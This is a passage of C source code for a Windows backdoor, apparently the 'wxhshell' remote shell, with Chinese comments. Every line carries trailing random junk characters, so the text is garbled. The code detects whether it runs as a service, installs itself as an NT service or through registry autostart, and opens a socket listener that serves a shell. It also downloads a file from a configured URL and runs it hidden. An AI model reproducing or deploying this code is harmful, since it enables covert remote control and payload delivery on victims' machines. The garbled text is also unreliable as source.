DWORD BasePriority; 4vJIO{m
ULONG UniqueProcessId; +Uk.|@b=-V
ULONG InheritedFromUniqueProcessId; U7'oI;C$e
} PROCESS_BASIC_INFORMATION; wBGxJ\+M
d'J?QH!N0
PROCNTQSIP NtQueryInformationProcess; N%i<DsK.u6
9~af\G
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1T`"/*!
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1Tkdr2
0Jif.<
HANDLE hProcess; =ZL20<TeH
PROCESS_BASIC_INFORMATION pbi; ^(B*AE.
"61n?Z#,M[
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sZ$ ~abX
if(NULL == hInst ) return 0; 8=Ht+Br
/!3:K<6@
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L4-Pq\2
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <6 $%Y2
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 06O
0\;a:E.c
if (!NtQueryInformationProcess) return 0; t0(hc7`
,5WDYk-
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |e(x< [s5
if(!hProcess) return 0; L0~O6*bk
s2kynQ#a
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MeS$+9jV(
2F]MzeW
CloseHandle(hProcess); s os&
34+}u,=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Fb-TCq1y#
if(hProcess==NULL) return 0; 9|DC<Zn&B#
;c}];ZU3G
HMODULE hMod; +r"$?bw'
char procName[255]; W5{e.eI}|
unsigned long cbNeeded; Ss}0.5Bq
b@Cvs4
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8tk`1E8!j
HDxw2nz*R
CloseHandle(hProcess); &*SnDuc
!ZdUW]
if(strstr(procName,"services")) return 1; // 以服务启动 p:))ne:7
|+''d
return 0; // 注册表启动 06
1=pV$CJ
} QI<3N
WDR!e2G
// 主模块 nrS_t
y
int StartWxhshell(LPSTR lpCmdLine) G}*B`m
{ :4d7%q
SOCKET wsl; :gC2zv
BOOL val=TRUE; 5#PhaVc
int port=0; tp&iOP6O
struct sockaddr_in door; 4dAhJjhgD
}+1o D{
if(wscfg.ws_autoins) Install(); x.Y,]wis
Qa+gtGtJ
port=atoi(lpCmdLine); UQ?8dw:E~
?HTwTi5!)
if(port<=0) port=wscfg.ws_port; /|f]L9)2<
e^TF.D?RS
WSADATA data; hW&UG#PY>
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1g+<`1=KT
Y'9deX+
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \8ZNXCP
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -D(!B56_
door.sin_family = AF_INET; E83nEUs
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Cz%ih#^b
door.sin_port = htons(port); |Sq>uC)
$G[##j2
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { he #iWD'
closesocket(wsl); C/=ZNl9"fn
return 1; 25r=Xv
} I6_+3}Hm{
C'#:}]@E
if(listen(wsl,2) == INVALID_SOCKET) { kLP^q+$u)!
closesocket(wsl); sBMHf9u
return 1; ej `$-hBBV
} Yaqim<j
Wxhshell(wsl); fz*6 B NJ
WSACleanup(); kCV OeXv
DQd&:J@?
return 0; 8*X8U:.0o
ewY X \
} "fdG5|NJe
{H74`-C)W
// 以NT服务方式启动 <jF <_j
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <Coh
&g_
{ *0@e_h
DWORD status = 0; /VQ<}S[k}-
DWORD specificError = 0xfffffff; x,+zw9
hT[O5
serviceStatus.dwServiceType = SERVICE_WIN32; vEkz5$
serviceStatus.dwCurrentState = SERVICE_START_PENDING; rcOmpgew
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~p.23G]x
serviceStatus.dwWin32ExitCode = 0; R\^tr
serviceStatus.dwServiceSpecificExitCode = 0; [(XKqiSV
serviceStatus.dwCheckPoint = 0; X%sc:V
serviceStatus.dwWaitHint = 0; 4Bz~_
Y]PZ| G)
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !TcjB;q'
if (hServiceStatusHandle==0) return; "F&uk~ b$
827N?pU$)
status = GetLastError(); |8"HTBb\CW
if (status!=NO_ERROR) ofJ@\xS
{ J7H1<\=cJb
serviceStatus.dwCurrentState = SERVICE_STOPPED; G+ToZ&f@
serviceStatus.dwCheckPoint = 0; e=U7w7(s9
serviceStatus.dwWaitHint = 0; Yi:+,-Fso
serviceStatus.dwWin32ExitCode = status; qXW5_iX
serviceStatus.dwServiceSpecificExitCode = specificError; @4pN4v8U
SetServiceStatus(hServiceStatusHandle, &serviceStatus); chy7hPxC;
return; )u$A!+fo
} N.]8qzW
=B\?(
serviceStatus.dwCurrentState = SERVICE_RUNNING; hn-S$3')`
serviceStatus.dwCheckPoint = 0; ;rX4${h
serviceStatus.dwWaitHint = 0; X!m/I
i$q
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ty ~U~
} ^t"\PpmK<d
AbB%osz}Ed
// 处理NT服务事件,比如:启动、停止 >. A{=?
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2&M
8Wb#
{ UX6-{
RP
switch(fdwControl) 28-@Ga4
{ *k/_p^
case SERVICE_CONTROL_STOP: jm!G@k6TA
serviceStatus.dwWin32ExitCode = 0; W;1Hyk
serviceStatus.dwCurrentState = SERVICE_STOPPED; CzgLgh;:T
serviceStatus.dwCheckPoint = 0; 0R.@\?bhL
serviceStatus.dwWaitHint = 0; +ad 2
{ 2IGAZ%%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); MkQSq
MU=
} Kxg09\5i
return; rei<{woX
case SERVICE_CONTROL_PAUSE: ,,?t>|3
serviceStatus.dwCurrentState = SERVICE_PAUSED; a}yJ$6xi
break; {x+jFj.
case SERVICE_CONTROL_CONTINUE: _+GCd8d
serviceStatus.dwCurrentState = SERVICE_RUNNING; d(tq;2-
break; /<@oUv
case SERVICE_CONTROL_INTERROGATE: ?D#Vh a
break; ']V 2V)t
}; h
/on
SetServiceStatus(hServiceStatusHandle, &serviceStatus); fQ<V_loP.@
} [bAv|;
m2_B(-
// 标准应用程序主函数 W6Hiqu+
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (t <Um
Vd
{ Tsa&R:SE
9s}--_k?F2
// 获取操作系统版本 7%X$6N-X
OsIsNt=GetOsVer(); #/n\C
GetModuleFileName(NULL,ExeFile,MAX_PATH); |XQ!xFB
'1d-N[
// 从命令行安装 P/27+5(|
if(strpbrk(lpCmdLine,"iI")) Install(); 8g<3J-7Mm
^ H'|iju
// 下载执行文件 $Uzc
if(wscfg.ws_downexe) { @r#> -p
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &.d~
M1Mz
WinExec(wscfg.ws_filenam,SW_HIDE); )ZT&V